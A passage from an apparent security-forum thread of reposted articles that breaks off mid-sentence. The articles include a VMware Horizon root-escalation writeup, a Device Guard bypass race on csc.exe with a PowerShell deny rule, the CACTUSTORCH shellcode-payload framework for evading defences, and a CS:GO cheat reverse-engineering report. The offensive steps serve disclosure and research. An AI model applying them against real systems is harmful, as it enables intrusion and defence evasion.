Nytro

zynamics BinDiff uses a unique graph-theoretical approach to compare executables by identifying identical and similar functions zynamics BinDiff | Download now for free. By clicking this box, you are indicating that you have read and consent to to be bound by the terms of the End User License Agreement Such consent is a prerequisite to downloading the BinDiff software. If you have not read the terms or do not agree to these terms, then do not click the box and do not download the software. Current version: Filename Size SHA256 bindiff_4.3.0_amd64.deb 24.8M 98776bd9a61a29e4c8518b0ff0ae0a66518ab7c759aead5e3fcf2e6d3bcd1987 BinDiff4.3.dmg 29.7M dd8f0df59b71d1cbc5661ac732c483883a43af43ec78a0b9293e745e23a59f84 bindiff430.msi 28.6M e1915c18026d5a7288cca0c1ff71840bdb473b97c2235862a1241cda231791da Previous version: Filename Size SHA1 bindiff420-debian8-amd64.deb 15M 38fbea8070495fc8730d7c86eae03bc68fde291f bindiff420-debian8-i386.deb 15M 49cdd6ae7ebe5b1813a5fcafaae9fde19005c824 bindiff420-win-pluginsonly.zip 5.8M e2b786d405aac23aced989e02080dd69c18ab75e bindiff420-win-x86.msi 22M 89f2eadc6582d4acca1e78db3617b5fba3eced0f bindiff-license-key.zip 990 95715a8bd7469106fc60b03f94f3cc87604e354c Sursa: https://www.zynamics.com/software.html

CVE-2017-4918: Code Injection in VMware Horizon’s macOS Client Mac OS X, Security, Software Add comments Jul 102017 In this blog post I want to discuss a code injection vulnerability in VMware Horizon‘s macOS Client Version 4.4.0 (5164329) that can be abused to gain local root privileges. The good news is, that it has already been fixed in the latest available version. I found it after learning about the “Open VMware View Client Services” SUID binary on my Mac. I think it is used internally by Horizon’s remote USB services and is only exploitable after they have been started once by entering administrative credentials. To investigate the binary further, I used the newly released Fireeye application Monitor.app. It basically is Process Monitor (procmon) for macOS. Based on the activities as captured by Monitor.app it was clear that “Open VMware View Client Services” was basically a wrapper around “services.sh”. This makes sense as the SUID bit is ignored for script files. After taking a closer look at this script, I identified the highlighted line in the following screenshot as a starting point for a possible code injection vulnerability. Although I had no idea about the inner workings of “./vmware-usbarbitrator” this binary was immediately my focus for further investigations. The reason for this is that I – as a non-admin user – am able to set the content of the environment variable VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS – that is used in an SUID executed script. After taking a closer look at the possible command line options I was pretty sure I could abuse this setup to load a custom kernel extension by abusing the –kext flag. However, there are two further problems: Kernel Extensions are only loaded if they are owned by root : wheel Additionally, KEXTs the have to be signed by Apple. In the course of this LPE I will ignore issue #2. Hence, I disabled SIP. So let’s focus on issue #1. To successfully load a kernel extension the binary has to be owned by root : wheel. However, for a normal user it is impossible to set this file system permissions on a any local file. Luckily, I had already invested plenty of time to learn about the In’s and Out’s of file systems at Tools On Air. So I knew, the only thing I had to do was to abuse NFS. This is possible because NFS allows the server to specify the file system permissions, even if mounted by a user. Any other local or remote file system I know of, ignores files owned by root in some way. So my next step was to simply export a remote folder (on my Kali Linux I always carry around with me) using NFS… … and mount it using Finder’s “Connect to Server”. After creating a simple KEXT … and updating the Info.plist file to meet the requirements (simply add a dictionary “IOKitPersonalities”) we are ready! After copying this KEXT to the NFS server and adapting its permissions to meet the “root:wheel” requirement, we are finally able to start the real exploitation. To do so simply set the “VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS” environment variable to our previously create KEXT and run “Open VMware View Client Services”. This is enough to load it! Hence, we gained code execution from a normal user’s account within the kernel context! Suggested Solution Filter or clear the environment variables VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS and VMWARE_VIEW_USBD_LOG_OPTIONS. Disclosure Timeline 21-04-2017: The issues has been documented and reported 24-04-2017: VMware started investigating 06-06-2017: Fix ready 08-06-2017: Updated Horizon version 4.5 alongside security advisory VMSA-2017-0011 released Sursa: https://bogner.sh/2017/07/cve-2017-4918-code-injection-in-vmware-horizons-macos-client/

Java

E chiar util, eu nici nu stiam de asta pana acum

Security Headlines provides the latest Cyber Security news. We filter top 50 security websites and let you informed about the latest trend concerning mobile security, web & network security, ransomware, malware, vulnerability, data protection, privacy protection, IOT security, threat analysis and more. It enables you to explore what you want to know or stay up-to-date by a range of options. Main Features: -Headlines of top security news -Detail articles and content about IT security news -Search bar for users to explore anything they need - Data analysis on technologies and latest vulnerabilities -Professional solutions for mobile or web security threats - Users’ privileges to choose categories or block certain topics Read only what you want and explore only what interests you. This app is simple to use, but a great help! Download Security Headlines for free and stay alert the up-to-date security news in the cyber world. Link: https://play.google.com/store/apps/details?id=com.skyaid.securityheadlines

Bypassing Device Guard with .NET Assembly Compilation Methods Tl;dr This post will describe a Device Guard user mode code integrity (UMCI) bypass (or any other application whitelisting solution for that matter) that takes advantage of the fact the code integrity checks are not performed on any code that compiles C# dynamically with csc.exe. This issue was reported to Microsoft on November 14, 2016. Despite all other Device Guard bypasses being serviced, a decision was made to not service this bypass. This bypass can be mitigated by blocking csc.exe but that may not be realistic in your environment considering the frequency in which legitimate code makes use of these methods - e.g. msbuild.exe and many PowerShell modules that call Add-Type. Introduction When Device Guard enforces user mode code integrity (UMCI), aside from blocking non-whitelisted binaries, it also only permits the execution of signed scripts (PowerShell and WSH) approved per policy. The UMCI enforcement mechanism in PowerShell is constrained language mode. One of the features of constrained language mode is that unsigned/unapproved scripts are prevented from calling Add-Type as this would permit arbitrary code execution via the compilation and loading of supplied C#. Scripts that are approved per Device Guard code integrity (CI) policy, however, are under no such restrictions, execute in full language mode, and are permitted to call Add-Type. While investigating Device Guard bypasses, I considered targeting legitimate, approved calls to Add-Type. I knew that the act of calling Add-Type caused csc.exe – the C# compiler to drop a .cs file to %TEMP%, compile it, and load it. A procmon trace of PowerShell calling Add-Type confirms this: Process Name Operation Path ------------ --------- ---- csc.exe CreateFile C:\Users\TestUser\AppData\Local\Temp\bfuswtq5.cmdline csc.exe CreateFile C:\Users\TestUser\AppData\Local\Temp\bfuswtq5.0.cs csc.exe CreateFile C:\Users\TestUser\AppData\Local\Temp\CSC3FBE068FE0A4C00B4A74B718FAE2E57.TMP csc.exe CreateFile C:\Users\TestUser\AppData\Local\Temp\CSC3FBE068FE0A4C00B4A74B718FAE2E57.TMP csc.exe CreateFile C:\Users\TestUser\AppData\Local\Temp\RES1A69.tmp cvtres.exe CreateFile C:\Users\TestUser\AppData\Local\Temp\CSC3FBE068FE0A4C00B4A74B718FAE2E57.TMP cvtres.exe CreateFile C:\Users\TestUser\AppData\Local\Temp\RES1A69.tmp csc.exe CreateFile C:\Users\TestUser\AppData\Local\Temp\RES1A69.tmp csc.exe CreateFile C:\Users\TestUser\AppData\Local\Temp\RES1A69.tmp csc.exe CreateFile C:\Users\TestUser\AppData\Local\Temp\bfuswtq5.dll csc.exe CreateFile C:\Users\TestUser\AppData\Local\Temp\CSC3FBE068FE0A4C00B4A74B718FAE2E57.TMP Upon seeing these files created, I asked myself the following questions: Considering an approved (i.e. whitelisted per policy) PowerShell function is permitted to call Add-Type (as many Microsoft-signed module functions do), could I possibly replace the dropped .cs file with my own? Could I do so quickly enough to win that race? How is the .DLL that’s created loaded? Is it subject to code integrity (CI) checks? Research methodology Let’s start with the second question since exploitation would be impossible if CI would prevent the loading of a hijacked, unsigned DLL. To answer this question, I needed to determine what .NET methods were called upon Add-Type being called. This determination was relatively easy by tracing method calls in dnSpy. I quickly traced execution of the following .NET methods: Microsoft.PowerShell.Commands.AddTypeCommand.CompileAssemblyFromSource System.CodeDom.Compiler.CodeDomProvider.CompileAssemblyFromSource Microsoft.CSharp.CSharpCodeGenerator.System.CodeDom.Compiler.ICodeCompiler.CompileAssemblyFromSourceBatch Microsoft.CSharp.CSharpCodeGenerator.FromSourceBatch Microsoft.CSharp.CSharpCodeGenerator.FromFileBatch Microsoft.CSharp.CSharpCodeGenerator.Compile (where csc.exe is ultimately called) System.Reflection.Assembly.Load Once the Microsoft.CSharp.CSharpCodeGenerator.Compile method is called, this is where csc.exe is ultimately invoked. After the Compile method returns, FromFileBatch takes the compiled artifacts, reads them in as a byte array, and then loads them using System.Reflection.Assembly.Load(byte[], byte[], Evidence). This is the same method called by msbuild.exe when compiling inline tasks – a known Device Guard UMCI bypassed discovered by Casey Smith. Knowing this, I gained the confidence that if I could hijack the dropped .cs file, I would end up having a constrained language mode bypass, allowing arbitrary unsigned code execution. What we’re referring to here is known as a “time of check time of use” (TOCTOU) attack. If I could manage to replace the dropped .cs file with my own prior to csc.exe consuming it, then I would win that race and perform the bypass. The only constraints imposed on me, however, would be that I would need to write a hijack payload within the constraints of constrained language mode. As it turns out, I was successful. Exploitation I wrote a function called Add-TypeRaceCondition that will accept attacker-supplied C# and get an allowed call to Add-Type to compile it and load it within the constraints of constrained language mode. The weaponized bypass is roughly broken down as follows: Spawn a child process of PowerShell that constantly tries to drop the malicious .cs file to %TEMP%. Maximize the process priority of the child PowerShell process to increase the likelihood of winning the race. In the parent PowerShell process, import a Microsoft-signed PowerShell module that calls Add-Type – I chose the PSDiagnostics process for this. Kill the child PowerShell process. At this point, you will have likely won the race and your type will be loaded in place of the legitimate one expected by PSDiagnostics. In reality, the payload wins the race a little more than 50% of the time. If Add-TypeRaceCondition doesn’t work on the first try, it will almost always work on the second try. Do note that while I weaponized this bypass for PowerShell, this can be weaponized using anything that would allow you to overwrite the dropped .cs file quickly enough. I've weaponized the bypass using a batch script, VBScript, and with WMI. I'll leave it up to the reader to implement a bypass using their language of choice. Operational Considerations It's worth noting that while an application whitelisting bypass is just that, it also serves as a method of code execution that is likely to evade defenses. In this bypass, an attacker need only drop a C# file to disk which results in the temporary creation of a DLL on disk which is quickly deleted. Depending upon the payload used, some anti-virus solutions with real-time scanning enabled could potentially have the ability to quarantine the dropped DLL before it's consumed by System.Reflection.Assembly.Load. Prevention Let me first emphasize that this is a .NET issue, not a PowerShell issue. PowerShell was simply chosen as a convenient means to weaponize the bypass. As I’ve already stated, this issue doesn’t just apply to when PowerShell calls Add-Type, but when any application calls any of the CodeDomProvider.CompileAssemblyFrom methods. Researchers will continue to target signed applications that make such method calls until this issue is mitigated. A possible user mitigation for this bypass would be to block csc.exe with a Device Guard rule. I would personally advise against this, however, since there are many legitimate Add-Type calls in PowerShell and presumably in other legitimate applications. I’ve provided a sample Device Guard CI rule that you can merge into your policy if you like though. I created the rule with the following code: # Copy csc.exe into the following directory # csc.exe should be the only file in this directory. $CSCTestPath = '.\Desktop\ToBlock\' $PEInfo = Get-SystemDriver -ScanPath $CSCTestPath -UserPEs -NoShadowCopy $DenyRule = New-CIPolicyRule -Level FileName -DriverFiles $PEInfo -Deny $DenyRule[0].SetAttribute('MinimumFileVersion', '65535.65535.65535.65535') $CIArgs = @{ FilePath = "$($CSCTestPath)block_csc.xml" Rules = $DenyRule UserPEs = $True } New-CIPolicy @CIArgs Detection Unfortunately, detection using free, off-the-shelf tools will be difficult due to the fact that the disk artifacts are created and subsequently deleted and by the nature of System.Reflection.Assembly.Load(byte[]) not generating a traditional module load event that something like Sysmon would be able to detect. Vendors with the ability to hash files on the spot should consider assessing the prevalence of DLLs created by csc.exe. Files with low prevalence should be treated as suspicious. Also, unfortunately, since dynamically created DLLs by their nature will not be signed, there will be no code signing heuristics to key off of. It's worth noting that I intentionally didn't mention PowerShell v5 ScriptBlock logging as a detection option since PowerShell isn't actually required to achieve this bypass. Conclusion I remain optimistic of Device Guard’s ability to enforce user mode code integrity. It is a difficult problem to tackle, however, and there is plenty of attack surface. In most cases, Device Guard UMCI bypasses can be mitigated by a user in the form of CI blacklist rules. Unfortunately, in my opinion, no realistic user mitigation of this particular bypass is possible. Microsoft not servicing such a bypass is the exception and not the norm. Please don’t let this discourage you from reporting any bypasses that you may find to secure@microsoft.com. It is my hope that by releasing this bypass that it will eventually be addressed and it will provide other vendors with the opportunity to mitigate. Previously serviced bypasses for reference: CVE-2017-0215 CVE-2017-0216 CVE-2017-0218 CVE-2017-0219 CVE-2017-0007 Sursa: http://www.exploit-monday.com/2017/07/bypassing-device-guard-with-dotnet-methods.html

C++17/14/11 Overview Many of these descriptions and examples come from various resources (see Acknowledgements section), summarized in my own words. C++17 includes the following new language features: template argument deduction for class templates declaring non-type template parameters with auto folding expressions new rules for auto deduction from braced-init-list constexpr lambda lambda capture this by value inline variables nested namespaces structured bindings selection statements with initializer constexpr if utf-8 character literals direct-list-initialization of enums C++17 includes the following new library features: std::variant std::optional std::any std::string_view std::invoke std::apply splicing for maps and sets C++14 includes the following new language features: binary literals generic lambda expressions lambda capture initializers return type deduction decltype(auto) relaxing constraints on constexpr functions variable templates C++14 includes the following new library features: user-defined literals for standard library types compile-time integer sequences std::make_unique C++11 includes the following new language features: move semantics variadic templates rvalue references initializer lists static assertions auto lambda expressions decltype template aliases nullptr strongly-typed enums attributes constexpr delegating constructors user-defined literals explicit virtual overrides final specifier default functions deleted functions range-based for loops special member functions for move semantics converting constructors explicit conversion functions inline-namespaces non-static data member initializers right angle brackets C++11 includes the following new library features: std::move std::forward std::to_string type traits smart pointers std::chrono tuples std::tie std::array unordered containers std::make_shared memory model Sursa: https://github.com/AnthonyCalandra/modern-cpp-features

Payload Generation with CACTUSTORCH 10/07/2017 | Author: Admin CACTUSTORCH is a framework for payload generation that can be used in adversary simulation engagements based on James Forshaw’s DotNetToJScript tool. This tool allows C# binaries to be bootstrapped inside a payload, providing reliable means to bypass many common defences. Currently CACTUSTORCH supports the following payload types: VBS VBA JS JSE WSF HTA VBE Prior to this, it was not possible to invoke shellcode injection directly from multiple formats with the exclusion of VBA macros (more on this later in the post). CACTUSTORCH has a self-contained C# binary which accepts a binary name and base64 encoded shellcode to inject. Additionally, it borrows concepts from @armitagehacker / CobaltStrike’s VBA macro injection whereby it selects the 32 bit executable to inject into. State of Current Payloads Generation of payloads for the supported formats already exists in several frameworks, including Metasploit and Cobalt Strike. There are however some drawbacks to how these payloads are generated. In Metasploit framework the following payload formats work as such: VBS: File drop and execute – Touches disk. HTA-PSH: Runs powershell.exe with a WScript.Shell object – Powershell.exe and WScript.Shell are well known to blue team. VBA-EXE: File drop and execute – Touches disk. VBA: Shellcode injection by declaring Kernel32 API – Known indicators for Maldoc scanning. VBA-PSH: Runs powershell.exe with a Shell object – Powershell.exe is well known to blue team. In CobaltStrike, the following payload formats work as such: VBS: Weakens the target, creates a COM object to Excel, creates worksheet, injects VBA macro code and executes. – Relies on Office being installed and Kernel32 API declarations in injected VBA. VBA: Shellcode injection by declaring Kernel32 API – Known indicators for Maldoc scanning. HTA-EXE: File drop and execute – Touches disk. HTA-PSH: Runs powershell.exe with a WScript.Shell object – Powershell.exe and WScript.Shell are well known to blue team. HTA-VBA: Wraps around a VBS that does the weakening, COM object to Excel, macro injection of Kernel32 API declaration VBA code. Benefits of CACTUSTORCH CACTUSTORCH offers a number of improvements on current payload generation that are currently beyond the capabilities of the public frameworks: Does not use Kernel32 API declarations in the payload Obfuscated within the C# binary Allows for arbitrary specification of target binary to spawn. Allows for arbitrary shellcode to be specified. Does not spawn PowerShell.exe. Does not require Powershell. Does not require Office. Does not invoke WScript.Shell. Does not require staging as the full stageless shellcode can be contained within the delivered payload. No static parent to child spawn, the user can change what wscript.exe spawns. exe spawning Powershell.exe is suspicious, spawning rundll32.exe is arguably less indicative of compromise. You can change this to calc.exe, ping.exe /t or similar less suspicious binaries. Using CACTUSTORCH Using CACTUSTORCH is relatively straight forward, the following outlines the steps required to generate a custom payload: Select the payload format you want to use from the cloned directory Select a binary container you want to inject into, has to exist in both SYSWOW64 and SYSTEM32 Generate raw shellcode for your listener $> cat payload.bin | base64 -w 0 > out.txt Copy the out.txt base64 raw payload into the “code” variable of the template If doing it for the VBA, run the out.txt through vbasplit.py out.txt split.txt Then copy the split.txt into the code section highlighted in the VBA template Payload is ready Do obfuscation if you want A video demonstrating these steps is shown below: Integration with Cobalt Strike As part of the process for streamlining adversary simulation engagements so that more time can be placed into creating more sophisticated and bespoke attacks, Vincent has created a CACTUSTORCH aggressor script to facilitate this. After loading the aggressor script, the following menu is presented as an option under the “Attack” tab. You can now select the payloads you want to use and options, it will generate the payload and host it for you. In terms of the VBA code, it will be presented in a textbox where it can be copied from and pasted into a Word VBA Macro. The aggressor script is demonstrated in the following video: Credits The scripts, proof of concepts and aggressor script addon is created by Vincent Yiu of the ActiveBreach team. We would like to also thank the following people for their contributions: @tiraniddo: James Forshaw for DotNet2Jscript @cn33liz: Inspiration with StarFighters @armitagehacker: Raphael Mudge for idea of selecting 32 bit version on 64 bit architecture machines for injection into @_RastaMouse: Testing and giving recommendations around README CACTUSTORCH can be downloaded from the MDSec ActiveBreach github page. Sursa: https://www.mdsec.co.uk/2017/07/payload-generation-with-cactustorch/

security things in Linux v4.12 Filed under: Chrome OS,Debian,Kernel,Security,Ubuntu,Ubuntu-Server — kees @ 1:24 am Previously: v4.11. Here’s a quick summary of some of the interesting security things in last week’s v4.12 release of the Linux kernel: x86 read-only and fixed-location GDT With kernel memory base randomization, it was stil possible to figure out the per-cpu base address via the “sgdt” instruction, since it would reveal the per-cpu GDT location. To solve this, Thomas Garnier moved the GDT to a fixed location. And to solve the risk of an attacker targeting the GDT directly with a kernel bug, he also made it read-only. usercopy consolidation After hardened usercopy landed, Al Viro decided to take a closer look at all the usercopy routines and then consolidated the per-architecture uaccess code into a single implementation. The per-architecture code was functionally very similar to each other, so it made sense to remove the redundancy. In the process, he uncovered a number of unhandled corner cases in various architectures (that got fixed by the consolidation), and made hardened usercopy available on all remaining architectures. ASLR entropy sysctl on PowerPC Continuing to expand architecture support for the ASLR entropy sysctl, Michael Ellerman implemented the calculations needed for PowerPC. This lets userspace choose to crank up the entropy used for memory layouts. LSM structures read-only James Morris used __ro_after_init to make the LSM structures read-only after boot. This removes them as a desirable target for attackers. Since the hooks are called from all kinds of places in the kernel this was a favorite method for attackers to use to hijack execution of the kernel. (A similar target used to be the system call table, but that has long since been made read-only.) KASLR enabled by default on x86 With many distros already enabling KASLR on x86 with CONFIG_RANDOMIZE_BASE and CONFIG_RANDOMIZE_MEMORY, Ingo Molnar felt the feature was mature enough to be enabled by default. Expand stack canary to 64 bits on 64-bit systems The stack canary values used by CONFIG_CC_STACKPROTECTOR is most powerful on x86 since it is different per task. (Other architectures run with a single canary for all tasks.) While the first canary chosen on x86 (and other architectures) was a full unsigned long, the subsequent canaries chosen per-task for x86 were being truncated to 32-bits. Daniel Micay fixed this so now x86 (and future architectures that gain per-task canary support) have significantly increased entropy for stack-protector. Expanded stack/heap gap Hugh Dickens, with input from many other folks, improved the kernel’s mitigation against having the stack and heap crash into each other. This is a stop-gap measure to help defend against the Stack Clash attacks. Additional hardening needs to come from the compiler to produce “stack probes” when doing large stack expansions. Any Variable Length Arrays on the stack or alloca() usage needs to have machine code generated to touch each page of memory within those areas to let the kernel know that the stack is expanding, but with single-page granularity. That’s it for now; please let me know if I missed anything. The v4.13 merge window is open! © 2017, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License. Sursa: https://outflux.net/blog/archives/2017/07/10/security-things-in-linux-v4-12/

Reverse engineering a CS:GO cheating software TL;DR: Technical low-level analysis of the cheat, also including the licensing and differences between public and private version. CS:GO is one of the most popular competitive online games, it has 520.285 current players as I write these lines. As in any other competition-driven game, cheaters arise, and specially in the CS community, they have become a serious problem. Today we are taking a look at the public and private version of a cheat for this game! I won't mention the name of the cheat to avoid giving them free advertisement and because it's not necessary for this post, but if you're into this topic, you'll probably guess. Before we start, it's important to mention that I managed to get a private version build using an alternative channel 😈. This means I've never paid to the developer, so I didn't support their business in any way! Damn you, cheaters! Public vs Private version This cheat is quite accessible, as the developer provides a public (free) version with all the capabilities for the users to try. The most important "downside", is that the public cheat is obviously detected by VAC, so if you use it in a VAC-protected server, it's a matter of time that your account gets VAC-banned. Here is where the paid private version comes into play: Customers get a unique build that is guaranteed to be undetected. Licensing Each private version build of the cheat is tied to a machine, to avoid piracy, reselling, ... The license procedure gets the SystemDrive environment variable, and using DeviceIoControl with the parameter IOCTL_DISK_GET_DRIVE_GEOMETRY, reads the technical capabilities of the hard drive. Then the Processor Brand String is also read using the cpuid instruction. This information is formatted into a string, hashed with SHA1, and mutated with a custom ASCII rotation algorithm: for ( i = 0; i < v16; v16 = strlen((const char *)&sha1_hex) ) { v18 = *((char *)&sha1_hex + i); if ( (unsigned int)(v18 - '0') > 9 ) *((_BYTE *)&sha1_hex + i) = v18 + 5; else *((_BYTE *)&sha1_hex + i) = v18 + '!'; ++i; } The resulting string is your unique license, which is sent to the cheat developer when you buy it, and in return you get a build that only works in the computer that generated this license. How the cheat works This cheat is an external cheat, which means all the work is done out of the CS:GO process (no DLL injection). The first thing it does is open the csgo.exe process, and get the base addresses of client.dll and engine.dll. Then it uses patterns to find game structures (offsets) in the memory, these patterns usually match opcodes of the game binaries, where memory pointers are referenced, or other useful information. They also use patterns to find game functions and strings. For example, one of the patterns is: 89 0D ? ? ? ? 8B 0D ? ? ? ? 8B F2 8B C1 83 CE 08 If we look for these bytes in the client.dll file, we get the following hit: 0x102bdf1d 890de815f214 mov dword [0x14f215e8], ecx 0x102bdf23 8b0d5ccaec12 mov ecx, dword [0x12ecca5c] 0x102bdf29 8bf2 mov esi, edx 0x102bdf2b 8bc1 mov eax, ecx 0x102bdf2d 83ce08 or esi, 8 Which means this pattern is looking for one of those global memory references present in the first two disassembly lines. As we said, they also use patterns to locate game functions, for instance with the following pattern, the cheat locates the start of the function used by the game to execute console commands in-game: 55 8B EC 8B ? ? ? ? ? 81 F9 ? ? ? ? 75 0C A1 ? ? ? ? 35 ? ? ? ? EB 05 8B 01 FF 50 34 50 A1 This one is found in engine.dll: 0x100aa300 55 push ebp 0x100aa301 8bec mov ebp, esp 0x100aa303 8b0d54345b10 mov ecx, dword [0x105b3454] 0x100aa309 81f938345b10 cmp ecx, 0x105b3438 ,=< 0x100aa30f 750c jne 0x100aa31d | 0x100aa311 a168345b10 mov eax, dword [0x105b3468] | 0x100aa316 3538345b10 xor eax, 0x105b3438 ,==< 0x100aa31b eb05 jmp 0x100aa322 |`-> 0x100aa31d 8b01 mov eax, dword [ecx] | 0x100aa31f ff5034 call dword [eax + 0x34] `--> 0x100aa322 50 push eax 0x100aa323 a1f8325a10 mov eax, dword [0x105a32f8] [...] If the cheat wants to run an in-game console command, it can allocate memory in the game process, pass the arguments to the function using this memory, and create a new thread using CreateRemoteThread at the beginning of the procedure. When the cheat has located all it needs to work, it will start a bunch of threads that implement each of the functionalities. These threads are in charge of monitoring and manipulate the game memory using the functions ReadProcessMemory and WriteProcessMemory. Changing the values of the internal game structures at will, the cheat can achieve the functionalities it offers. I have identified some of the functions and renamed them in my pseudocode: CreateThread(0, 0, (LPTHREAD_START_ROUTINE)aimassist, 0, 0, 0); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)aimlock, 0, 0, 0); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)bunnyhop, 0, 0, 0); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)anti_flash, 0, 0, 0); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_403F0E, 0, 0, 0); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)esp_hack, 0, 0, 0); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)radar_hack, 0, 0, 0); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)kill_message, 0, 0, 0); while ( !byte_4F1081 || !byte_4F1054 || !byte_4F1082 || !byte_4F10C9 || !byte_4F1062 || !byte_4F1040 || !byte_4F1090 || !byte_4F1028 ) Sleep(0x64u); // Default config cfg_antiflash = 1; cfg_aimlock = 1; cfg_killmessage = 1; cfg_radarhack = 1; byte_4F1032 = 0; cfg_glowesp = 1; byte_4F10C0 = 0; cfg_bunnyhop = 1; cfg_aimassist = 1; cfg_reload(); while ( WaitForSingleObject(csgo_prochandler, 0) != 0 ) cfg_changes_loop(); CloseHandle(csgo_prochandler); j_exit(0); Private version protection The public version is poorly protected, they just encrypted the strings with a simple algorithm but it has no code obfuscation or PE packing. On the other side, the private version is protected with Themida, a commercial packer that, depending on its configuration, can be quite effective protecting executables. It's very likely that they use Themida for two purposes: Protect the cheat license from being patched. The program can be manipulated to validate any license when running in a computer, but reconstruct a fully working version of the packed executable and patch it may be quite tricky. The second and most important, avoid the VAC signatures from detecting their cheat when running. Themida can protect the original opcodes of the program when it's loaded in memory and running, and writing signatures (patterns) for those opcodes is one of the methods VAC uses to detect cheaters. Closing If we compare it to other cheats, this one is simple in terms of functionality, but still quite effective. Bear in mind that the CSGO binaries used for the analysis are not from the latest game update, as I wrote this one week ago. The binaries I used are: 942fa5d3ef9e0328157b34666327461cee10aae74b26af135b8589dc35a5abc7 client.dll e6f3eda5877f2584aeb43122a85d0861946c7fb4222d0cb6f3bc30034e4d3e24 engine.dll 1a5bb2b0ae9f2e6ef757c834eeb2c360a59dce274b2e4137706031f629e6455f csgo.exe This means that the cheat signatures may have been slightly modified to work with the new executables, and the offsets probably won't be the same if these binaries changed in the latest version of the game. Sursa: https://blog.badtrace.com/post/reverse-engineering-a-csgo-cheat/

XRAY XRay is a tool for network OSINT gathering, its goal is to make some of the initial tasks of information gathering and network mapping automatic. How Does it Work? XRay is a very simple tool, it works this way: It'll bruteforce subdomains using a wordlist and DNS requests. For every subdomain/ip found, it'll use Shodan to gather open ports and other intel. For every unique ip address, and for every open port, it'll launch specific banner grabbers and info collectors. Eventually the data is presented to the user on the web ui. Grabbers and Collectors HTTP Server, X-Powered-By and Location headers. HTTP and HTTPS robots.txt disallowed entries. HTTPS certificates chain. HTML title tag. DNS version.bind. and hostname.bind. records. MySQL, SMTP, FTP, SSH, POP and IRC banners. Sursa: https://github.com/evilsocket/xray

Table of Contents 1 Arithmetic Primitives 1.1 Modular Arithmetic Primer 1.2 Addition and Subtraction 1.2.1 Example 1.3 Multiplication 1.3.1 Example 1.4 Division 1.4.1 Example 1.5 Exponentiation 1.5.1 Example 1.6 Square Root 2 Elliptic Curve Cryptography 2.1 Introduction 2.2 Elliptic Curve Equation 2.3 Point representation 3 Point Operations 3.1 Point Addition 3.2 Point Doubling 3.3 Scalar Point Multiplication 3.4 Checking if a point is on curve 4 Doing useful ECC operations 4.1 Curve cryptosystem parameters 4.2 Generating a keypair 4.3 Encrypting using ECIES 4.3.1 Encryption 4.3.2 Decryption 4.4 Signing using ECDSA 4.4.1 Signing 4.4.2 Signature Verification 4.4.3 Why ECDSA works 4.5 Messing with ECDSA signatures 4.5.1 Excursion: Why the greatest morons of the universe work at Sony 5 Advanced Topics 5.1 Point Compression 6 Examples 6.1 Testing your integer arithmetic using Genius 6.2 Using Sage to play with elliptic curves 6.3 Extracting curve parameters from openssl 6.4 Playing with openssl ECDSA signatures 6.5 Visualizing a small curve 7 FAQ 7.1 Cool! Now that I know how to use ECC, should I write my own crypto library? 7.2 Can I at least define my own curve then? 7.3 But I don't trust NIST/SECG. What alternatives do I have? 8 Downloads 9 Literature Sursa: https://www.johannes-bauer.com/compsci/ecc/

This repository houses a series of Proofs of concept C programs that exploit Vulnerabilities I have found the Android Kernel. For the most up-to-date list of my bugs see http://plzdonthack.me For the bugs listed with _mtk.c I didn't bother even trying to compile them as I don't have a mediatek device to test on. July: https://github.com/ScottyBauer/Android_Kernel_CVE_POCs/commit/0b4721f4c9061f2de2222bff50f6f719864b6a10 All: https://github.com/ScottyBauer/Android_Kernel_CVE_POCs

OpenBSD Will Get Unique Kernels on Each Reboot. Do You Hear That Linux, Windows? By Catalin Cimpanu July 5, 2017 A new feature added in test snapshots for OpenBSD releases will create a unique kernel every time an OpenBSD user reboots or upgrades his computer. This feature is named KARL — Kernel Address Randomized Link — and works by relinking internal kernel files in a random order so that it generates a unique kernel binary blob every time. Currently, for stable releases, the OpenBSD kernel uses a predefined order to link and load internal files inside the kernel binary, resulting in the same kernel for all users. KARL is different from ASLR Developed by Theo de Raadt, KARL will work by generating a new kernel binary at install, upgrade, and boot time. If the user boots up, upgrades, or reboots his machine, the most recently generated kernel will replace the existing kernel binary, and the OS will generate a new kernel binary that will be used on the next boot/upgrade/reboot, constantly rotating kernels on reboots or upgrades. KARL should not be confused with ASLR — Address Space Layout Randomization — a technique that randomizes the memory address where application code is executed, so exploits can't target a specific area of memory where an application or the kernel is known to run. "It still loads at the same location in KVA [Kernel Virtual Address Space]. This is not kernel ASLR!," said de Raadt. Instead, KARL generates kernel binaries with random internal structures, so exploits cannot leak or attack internal kernel functions, pointers, or objects. A technical explanation is available below. A unique kernel is linked such that the startup assembly code is kept in the same place, followed by randomly-sized gapping, followed by all the other .o files randomly re-organized. As a result the distances between functions and variables are entirely new. An info leak of a pointer will not disclose other pointers or objects. This may also help reduce gadgets on variable-sized architectures, because polymorphism in the instruction stream is damaged by nested offsets changing. "As a result, every new kernel is unique," de Raadt says. Feature developed in the last two months Work on this feature started in May and was first discussed in mid-June on the OpenBSD technical mailing list. KARL has recently landed in snapshot versions of OpenBSD 6.1. "The situation today is that many people install a kernel binary from OpenBSD, and then run that same kernel binary for 6 months or more. Of course, if you booted that same kernel binary repeatedly, the layout would be the same. That is where we are today, for commited code," de Raadt says. "However, snapshots of -current contain a futher change, which I worked on with Robert Peichaer. That change is scaffolding to ensure you boot a newly-linked kernel upon every reboot. KARL is a unique feature Speaking to Bleeping Computer, Tiberiu C. Turbureanu, founder of Technoethical, a startup that sells privacy-focused hardware products, says this feature appears to be unique to OpenBSD. "It's not implemented in Linux," Turbureanu said. "This looks like a great idea," the expert added, regarding the possibility of having this feature ported to the Linux kernel. Instead, the Linux project has just added support for Kernel Address Space Layout Randomization (KASLR), a feature that ports ASLR to the kernel itself, loading the kernel at a randomized memory address. This feature was turned on by default in Linux 4.12, released last week. The difference between the two is that KARL loads a different kernel binary in the same place, while KASLR loads the same binary in random locations. Same goal, different paths. As for Windows, KARL is not supported, but Microsoft has used KASLR for many years. Fabian Wosar, Chief Technical Officer for antivirus maker Emsisoft is all on board with adding KARL to the Windows 